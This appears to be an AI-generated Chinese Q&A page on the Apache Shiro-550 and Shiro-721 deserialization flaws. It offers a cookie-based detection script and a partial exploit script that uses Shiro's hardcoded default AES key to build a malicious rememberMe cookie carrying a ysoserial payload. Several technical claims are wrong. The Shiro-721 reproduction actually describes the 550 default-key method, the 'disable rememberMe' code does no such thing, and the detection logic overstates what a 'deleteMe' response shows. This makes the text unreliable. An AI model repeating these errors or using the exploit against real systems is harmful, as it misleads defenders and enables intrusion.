shiro-550反序列化漏洞与shiro-721反序列化漏洞的区别
时间: 2023-12-23 09:03:51 浏览: 238
这是一个技术问题,Shiro-550漏洞与Shiro-721漏洞都是Apache Shiro框架中的反序列化漏洞,但Shiro-550漏洞主要是由于使用了不安全的Java反序列化进行身份验证,而Shiro-721漏洞主要是由于Shiro的rememberMe功能中存在的反序列化漏洞,两者的攻击方式和影响范围略有不同。
相关问题
shiro550反序列化漏洞
### Apache Shiro 1.2.4 反序列化漏洞 (CVE-2016-4437) 的原因
Apache Shiro 是一个用于 Java 应用程序的安全框架,提供身份验证、授权、加密和会话管理等功能。该漏洞的核心在于 `rememberMe` 功能的实现方式不当。当用户登录时,如果启用了 `rememberMe` 功能,则服务器会在响应头中设置一个名为 `Set-Cookie` 的字段,并附带一个经过 Base64 编码后的对象作为值[^2]。
此编码的对象实际上是通过 Java 的序列化机制生成的一个字节数组。然而,在反序列化过程中,攻击者可以通过构造恶意的序列化数据来触发远程代码执行(RCE),从而利用这一功能实施攻击[^3]。
#### 漏洞成因的具体细节
1. **RememberMe Cookie 处理逻辑缺陷**: 当客户端发送带有伪造的 RememberMe 数据请求到服务端时,Shiro 不会对这些数据做严格的校验就直接尝试将其反序列化。
2. **Java 反序列化风险**: 如果应用程序加载了某些易受攻击的类库(例如 Common Collections),那么即使输入的数据被篡改也可能会被执行任意命令操作[^4]。
---
### 解决方案与防护措施
针对上述提到的问题可以采取如下几种解决方案:
1. **升级版本**
升级至不受影响的新版 Apache Shiro (>=1.2.5)。官方已经在后续发布版本里修复了这个问题并改进了对于 Remember Me token 的处理流程[^1]。
2. **禁用 RememberMe 功能**
对于不需要持久化登录的应用场景可以直接关闭 RememberMe 配置项以规避潜在威胁。具体做法是在配置文件或者代码初始化阶段显式调用 disable 方法:
```java
DefaultWebSecurityManager securityManager = new DefaultWebSecurityManager();
DefaultSubjectDAO subjectDAO = new DefaultSubjectDAO();
subjectDAO.setSessionStorageEvaluator(new NullSessionStorageEvaluator());
securityManager.setSubjectDAO(subjectDAO);
```
3. **加强依赖组件安全性审查**
定期审计项目所使用的第三方 jar 文件是否存在已知脆弱点;移除不必要的危险 gadgets 类型比如 org.apache.commons.collections.functors.* 下的内容。
4. **网络边界防御手段部署**
使用 WAF(Web Application Firewall) 或 IPS(Intrusion Prevention System) 来拦截可疑流量模式,特别是那些包含 base64 加密字符串或者其他异常特征的行为。
5. **自定义 Token 校验机制**
开发团队也可以考虑重新设计一套更健壮的身份令牌解析算法代替默认实现,确保只有合法签名才能成功解码恢复原始状态信息。
---
### 示例代码片段展示如何检测是否存在漏洞
下面给出一段简单的测试脚本用来判断目标主机是否可能遭受此类攻击的影响:
```python
import requests
def check_vulnerability(url):
headers = {"Cookie": "rememberMe=1"}
try:
response = requests.get(url, headers=headers)
if "Set-Cookie" in response.headers and "rememberMe=deleteMe;" in response.headers["Set-Cookie"]:
print(f"[+] Vulnerable! Target responds with 'rememberMe=deleteMe'. URL: {url}")
else:
print(f"[-] Not vulnerable or protected by other mechanisms. URL: {url}")
except Exception as e:
print(f"[!] Error occurred while checking vulnerability on {url}: {e}")
if __name__ == "__main__":
target_url = input("Enter the target URL to test: ")
check_vulnerability(target_url.strip())
```
---
shiro721反序列化漏洞复现
### 复现 Apache Shiro 721 版本反序列化漏洞
对于Apache Shiro 721版本的反序列化漏洞复现,主要关注点在于`rememberMe`功能中的安全缺陷。当应用程序使用Shiro框架并启用了记住我(`rememberMe`)特性时,在某些配置下可能会受到反序列化攻击的影响。
#### 准备工作
为了成功模拟这一漏洞场景,需准备如下组件:
- **Python环境**:建议采用Python2.x版本来运行相关脚本。
- **Java开发工具包(JDK)**:用于编译和支持Java类文件操作。
- **特定工具集**:
- `shiro.exploit.py`: 此脚本负责构建恶意的有效载荷(Payload),它会调用另一个重要的库——`ysoserial.jar`来进行对象序列化前的操作[^4]。
#### 构建Payload流程
创建能够触发该漏洞的有效载荷涉及几个步骤:
1. 使用`ysoserial.jar`生成含有恶意指令的对象流;
2. 对上述得到的数据实施AES加密算法处理;
3. 将经过加密后的数据转换成Base64编码字符串形式;
4. 设置HTTP请求头内的`Cookie`参数为新构造出来的`rememberMe`值;
通过以上方式形成的特殊输入将会绕过正常的身份验证机制,并可能允许远程代码执行(RCE)[^3]。
#### 执行测试
一旦准备好所有必要的资源之后,就可以向目标Web应用发送带有特制`rememberMe` cookie 的 HTTP 请求。如果存在此漏洞,则服务器端会在解析这个cookie的过程中尝试去反序列化其中的内容,进而触发预设好的命令执行行为。
需要注意的是,实际环境中应当仅限于合法授权范围内的渗透测试活动中开展此类实验活动,严禁非法入侵他人信息系统的行为发生。
```python
import base64
from Crypto.Cipher import AES
import requests
def generate_payload(command):
# 这里省略了具体实现细节, 实际上应该调用 ysoserial 工具生成 payload 并进行后续处理.
pass
aes_key = 'kPH+bIxk5D2deZiIxcaaaA==' # 默认硬编码密钥
iv = '\x00' * 16 # 初始化向量设置为全零
cipher = AES.new(base64.b64decode(aes_key), AES.MODE_CBC, iv)
malicious_command = "touch /tmp/test" # 测试用途的无害命令
payload_data = generate_payload(malicious_command).encode('utf8')
encrypted_bytes = cipher.encrypt(payload_data + (b'\x04' * (-len(payload_data) % 16)))
base64_encoded_cookie_value = base64.b64encode(encrypted_bytes).strip().decode()
cookies = {'rememberMe': base64_encoded_cookie_value}
response = requests.get('http://example.com/', cookies=cookies)
print(response.status_code)
```
阅读全文
相关推荐
















